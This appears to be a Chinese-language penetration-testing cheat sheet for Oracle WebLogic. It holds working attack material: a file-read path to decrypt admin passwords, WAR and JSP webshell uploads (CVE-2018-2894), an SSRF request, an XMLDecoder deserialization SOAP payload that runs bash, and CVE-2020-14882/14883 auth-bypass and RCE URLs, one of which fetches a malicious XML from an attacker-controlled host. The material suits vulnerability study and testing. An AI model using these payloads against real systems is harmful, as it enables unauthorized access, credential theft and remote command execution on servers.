文件读取漏洞->密码破解
读取weblogic的两个文件
- security/SerializedSystemIni.dat
- Config/config.xml

SerializedSystemIni.dat的全部内容

需要config.xml 的 node-manager-password-encrypted


解密 tool https://github.com/TideSec/Decrypt_Weblogic_Password (不一定能解密成功)

在文件读取中基于环境目录去读取


上传war包 getshell
类似tomcat
条件进入控制台 (知道用户名和密码)
http://127.0.0.1:7001/console



Weblogic 任意文件上传漏洞(CVE-2018-2894)
访问ws_utc/config.do (无需登录
但需要开起 Web 服务测试页 (实际应用少
将当前的工作目录改为如下
安装目录/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css


最后访问/ws_utc/css/config/keystore/1612249499610_jsp-shell.jsp

Weblogic ssrf
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
只支持http协议 且存在crlf

Weblogic XMldecode 反序列化
Weblogic < 10.3.6
WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令
路径 /wls-wsat/CoordinatorPortType Content-Type: text/xml
payload 其他的类似 无回显 特殊字符需要实体编码
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/2333</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

weblogic 未授权访问 + rce 漏洞
参考 https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md
未授权访问为CVE-2020-14882
rce 为CVE-2020-14883
未授权访问
为二次url编码的../
http://ip/console/css/%252e%252e%252fconsole.portal

rce
方法一:
只能在Weblogic 12.2.1以上版本利用
http://ip/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
访问之后404

方法二:
对为修复漏洞的所有版本有效
将恶意xml 放在 受害机器能访问到的地方
payload的特殊字符需要实体编码
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后发送如下payload
http://ip/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://vpsip/rce.xml")
同样也会404